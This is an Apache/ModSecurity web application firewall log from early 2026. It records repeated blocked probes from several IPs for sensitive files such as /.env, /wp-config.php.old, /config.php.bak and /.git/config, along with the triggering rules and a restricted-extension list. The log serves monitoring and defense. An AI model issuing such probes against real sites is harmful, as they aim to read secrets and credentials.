[Tue Jan 27 03:40:35.070810 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWAAAAAE&quot;]
[Tue Jan 27 03:40:35.091423 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWQAAAAE&quot;]
[Tue Jan 27 03:40:35.091540 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWQAAAAE&quot;]
[Tue Jan 27 03:40:35.091691 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWQAAAAE&quot;]
[Tue Jan 27 03:40:35.091838 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWQAAAAE&quot;]
[Tue Jan 27 03:40:35.134716 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWwAAAAE&quot;]
[Tue Jan 27 03:40:35.134984 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWwAAAAE&quot;]
[Tue Jan 27 03:40:35.135132 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWwAAAAE&quot;]
[Tue Jan 27 03:40:35.223111 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEXwAAAAE&quot;]
[Tue Jan 27 03:40:35.223313 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEXwAAAAE&quot;]
[Tue Jan 27 03:40:35.223470 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEXwAAAAE&quot;]
[Tue Jan 27 03:40:35.244501 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEYAAAAAE&quot;]
[Tue Jan 27 03:40:35.244680 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEYAAAAAE&quot;]
[Tue Jan 27 03:40:35.244833 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEYAAAAAE&quot;]
[Tue Jan 27 17:45:30.352298 2026] [:error] [pid 1685045] [client 204.76.203.25:38082] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXjrqs5tqUHe55o9dmnn9AAAAAY&quot;]
[Tue Jan 27 17:45:30.352560 2026] [:error] [pid 1685045] [client 204.76.203.25:38082] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXjrqs5tqUHe55o9dmnn9AAAAAY&quot;]
[Tue Jan 27 17:45:30.352744 2026] [:error] [pid 1685045] [client 204.76.203.25:38082] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXjrqs5tqUHe55o9dmnn9AAAAAY&quot;]
[Mon Feb 02 04:44:29.954436 2026] [:error] [pid 1813899] [client 204.76.203.25:55970] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aYAdnfCpX0LW2-Z2u5-lHAAAAAg&quot;]
[Mon Feb 02 04:44:29.956027 2026] [:error] [pid 1813899] [client 204.76.203.25:55970] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aYAdnfCpX0LW2-Z2u5-lHAAAAAg&quot;]
[Mon Feb 02 04:44:29.956216 2026] [:error] [pid 1813899] [client 204.76.203.25:55970] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aYAdnfCpX0LW2-Z2u5-lHAAAAAg&quot;]
[Thu Feb 12 08:27:01.456353 2026] [:error] [pid 2030043] [client 204.76.203.25:40250] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aY2Axe9K-18uNmUiOOkjagAAAAI&quot;]
[Thu Feb 12 08:27:01.457629 2026] [:error] [pid 2030043] [client 204.76.203.25:40250] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aY2Axe9K-18uNmUiOOkjagAAAAI&quot;]
[Thu Feb 12 08:27:01.457800 2026] [:error] [pid 2030043] [client 204.76.203.25:40250] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aY2Axe9K-18uNmUiOOkjagAAAAI&quot;]
[Fri Feb 13 14:52:38.505822 2026] [:error] [pid 2051937] [client 185.193.89.23:33256] [client 185.193.89.23] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aY8sptdj_rCmEWaZY9hjewAAAAc&quot;]
[Fri Feb 13 14:52:38.506104 2026] [:error] [pid 2051937] [client 185.193.89.23:33256] [client 185.193.89.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aY8sptdj_rCmEWaZY9hjewAAAAc&quot;]
[Fri Feb 13 14:52:38.506270 2026] [:error] [pid 2051937] [client 185.193.89.23:33256] [client 185.193.89.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aY8sptdj_rCmEWaZY9hjewAAAAc&quot;]
[Sun Feb 15 05:05:54.113381 2026] [:error] [pid 2096241] [client 195.250.31.127:49998] [client 195.250.31.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZFGIuAB8tEEIZNgR6MUaAAAAAQ&quot;]
[Sun Feb 15 05:05:54.114301 2026] [:error] [pid 2096241] [client 195.250.31.127:49998] [client 195.250.31.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZFGIuAB8tEEIZNgR6MUaAAAAAQ&quot;]
[Sun Feb 15 05:05:54.114506 2026] [:error] [pid 2096241] [client 195.250.31.127:49998] [client 195.250.31.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZFGIuAB8tEEIZNgR6MUaAAAAAQ&quot;]
[Tue Feb 17 13:05:21.872279 2026] [:error] [pid 2139723] [client 204.76.203.25:58284] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZRZgViSx5CFCVndNDmPwAAAAAE&quot;]
[Tue Feb 17 13:05:21.873357 2026] [:error] [pid 2139723] [client 204.76.203.25:58284] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZRZgViSx5CFCVndNDmPwAAAAAE&quot;]
[Tue Feb 17 13:05:21.873542 2026] [:error] [pid 2139723] [client 204.76.203.25:58284] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZRZgViSx5CFCVndNDmPwAAAAAE&quot;]
